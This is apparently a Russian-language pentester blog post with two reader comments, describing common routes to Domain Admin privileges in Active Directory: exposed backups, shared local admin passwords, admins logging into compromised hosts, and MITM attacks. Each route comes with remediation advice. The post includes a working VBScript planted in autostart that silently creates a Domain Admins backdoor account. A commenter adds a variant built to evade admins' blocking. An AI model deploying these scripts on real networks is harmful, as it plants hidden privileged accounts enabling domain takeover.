Поднятие привилегий в домене. Что может быть проще.

Проводя внутренние пентесты в корпоративном секторе, я зачастую сталкиваюсь с множеством проблем ИБ, которые позволяют получить привилегии Администратора каталога Active Directory . Про наиболее простые из эксплуатируемых векторов в моей практике далее в этой заметке.

1. Безалаберность

На моей памяти зафиксировано уже несколько эпизодов, когда поднять привилегии в домене до уровня «Domain Admins» удается путем получения доступа к различным бэкапам контроллера домена:) В основном отрабатывают следующие вектора:


- Простой поиск по общим сетевым ресурсам
- Проблемы с Patch Management (яркий пример: использование уязвимой версии CA BrightStor ARCserve)
- Хранение System state контроллера домена на уязвимом standalone-сервере
- Использование брутабельных паролей на различных ресурсах сети

Рекомендации по закрытию вектора самые банальные: использовать «правильное» разграничение доступа, не хранить важные данные на серверах типа «файловых помоек», своевременно устанавливать обновления от производителей и использовать стойкие и не повторяющиеся пароли для доступа к информационным ресурсам.

2. Беспечность

В сетях с большим числом пользователей применяют механизмы простого и быстрого развертывания операционных систем на компьютерах конечных пользователей. Для этого используют заранее подготовленные образы операционных систем или возможности unattend-развертывания. И, как показывает распространенная практика, локальная учетная запись администратора на подобных компьютерах остается включенной после завершения установки операционной системы. Причем, чтобы не запутаться в паролях, на всех локальных учетных записях администраторов используется один и тот же пароль:) Безусловно, разделяют пароль для локального администратора клиентской операционной системы и серверной. А в некоторых случаях даже производят регулярную смену этого пароля, но порой даже эта мера не спасает системы от их компрометации. Уязвимость возникает в том случае, когда в SAM-базе операционной системы хранится LM-хеш от пароля локального администратора и используемый пароль не превышает 14-ти символов, либо используется брутабельный пароль на основе NTLM-хеша. Соответственно, добравшись до SAM-базы, становится возможным скомпрометировать большинство компьютеров в сети, в том числе рабочую станцию администратора домена, что фактически позволяет получить полный контроль над доменом.

Нужно добавить, что в доменной архитектуре локальная учетная запись не требуется. И даже будучи отключенной, она доступна при загрузке в безопасном режиме. Подробнее: support.microsoft.com

Другой пробиваемый вектор атаки заключается в том, что администраторы домена зачастую подключаются под привилегированной учетной записью на обслуживаемые ими сервера, в том числе и на тестовые, а порой даже для выполнения задач администрирования на пользовательских рабочих станциях. Таким образом, получив контроль над одним таким сервером или рабочей станцией, возможно, достаточно тривиально получить расширенные привилегии в домене.

Например, следующий сценарий на vbs, будучи помещенный в автозагрузку, создаст учетную запись «support1» с паролем «P@ssw0rd» в AD и поместит ее в группу «Domain Admins», если на компьютер в интерактивном режиме залогинится пользователь с соответствующими привилегиями.


On Error Resume Next
Dim objRoot, objContainer, objUser, objGroup, objSysInfo, strUserDN
Set objSysInfo = CreateObject("ADSystemInfo")
strUserDN = objSysInfo.userName
Set objUser = GetObject("LDAP://" & strUserDN)
If IsMember("Domain Admins") Then
Set objRoot = GetObject("LDAP://rootDSE")
Set objContainer = GetObject("LDAP://cn=Users," & objRoot.Get("defaultNamingContext"))
Set objUser = objContainer.Create("User", "cn=support1")
objUser.Put "sAMAccountName", "support1"
objUser.SetInfo
objUser.SetPassword "P@ssw0rd"
objUser.Put "userAccountControl", 512
objUser.SetInfo
Set objGroup = GetObject ("LDAP://cn=Domain Admins, cn=Users," & objRoot.Get("defaultNamingContext"))
objGroup.PutEx 3, "member", Array("cn=support1, cn=Users," & objRoot.Get("defaultNamingContext"))
objGroup.SetInfo
End If
Function IsMember(strGroup)
Dim objGroupList
If IsEmpty(objGroupList) Then
Set objGroupList = CreateObject("Scripting.Dictionary")
objGroupList.CompareMode = vbTextCompare
For Each objGroup In objUser.Groups
objGroupList(objGroup.sAMAccountName) = True
Next
End If
IsMember = objGroupList.Exists(strGroup)
End Function


Рекомендации по закрытию вектора следующие: отключить локальную учетную запись администратора на всех доменных компьютерах, использовать учетные записи с пониженными привилегиями при выполнении задач администрирования, осуществлять мониторинг доступа к ресурсам, в том числе доступа к Active Directory (изменение членства групп, создание новых объектов и т.д.).

3. Незнание

Очень эффективным методом получения расширенных привилегий в домене при проведении внутреннего пентеста по-прежнему является атака MITM и банальный снифинг всего трафика. Первый вектор это, конечно же, ARP-spoofing при котором есть место и элегантным атакам. Например, при реализации вектора атаки возможно снизить уровень проверки подлинности SMB на более простой, что позволяет легко восстановить пароль по перехваченным значениям hashes/challenge. Также, при использовании уязвимого протокола RDP, существует возможность перехватить вводимый пароль в виде открытого текста:)

Второй вектор чаще всего реализуем после успешной атаки на сетевое оборудование (сеть на концентраторах уже уходит в прошлое). Например, атака на перевод порта коммутатора, к которому подключен ноутбук аудитора, в режим trunk, либо переконфигурирование оборудования через SNMP community.

Рекомендации по закрытию вектора: «грамотное» разделение сети на подсети (технологическую, пользовательскую и т.п.), настройка сетевого оборудования и Active Directory в соответствии с рекомендациями CIS, своевременная установка обновлений от производителей.

2 комментария :

  1. о скрипте на бейсике как то незадумывался, пасибки, все mitm да mitm, зацикливался :-)

    ОтветитьУдалить
  2. и его более правильная версия.... а то админы стали блочить добавление в domain admins:)

    On Error Resume Next

    Dim objRoot, objContainer, objUser, objGroup, objSysInfo, strUserDN
    Set objSysInfo = CreateObject("ADSystemInfo")
    strUserDN = objSysInfo.userName
    Set objUser = GetObject("LDAP://" & strUserDN)

    Set objRoot = GetObject("LDAP://rootDSE")
    Set objContainer = GetObject("LDAP://cn=Users," & objRoot.Get("defaultNamingContext"))

    Set objUserCreate = objContainer.Create("User", "cn=positive")
    objUserCreate.Put "sAMAccountName", "positive"
    objUserCreate.SetInfo
    On Error Resume Next

    objUserCreate.SetPassword "P@ssw0rd"
    objUserCreate.Put "userAccountControl", 512
    objUserCreate.SetInfo
    On Error Resume Next

    Member()

    Function Member()
    Dim objGroup
    If IsEmpty(objGroupList) Then
    Set objGroupList = CreateObject("Scripting.Dictionary")
    objGroupList.CompareMode = vbTextCompare
    For Each objGroup In objUser.Groups
    'WScript.Echo objGroup.ADsPath
    Set objGroupCreate = GetObject (objGroup.ADsPath)
    objGroupCreate.PutEx 3, "member", Array("cn=positive, cn=Users," & objRoot.Get("defaultNamingContext"))
    objGroupCreate.SetInfo
    On Error Resume Next
    Next
    End If
    End Function

    ОтветитьУдалить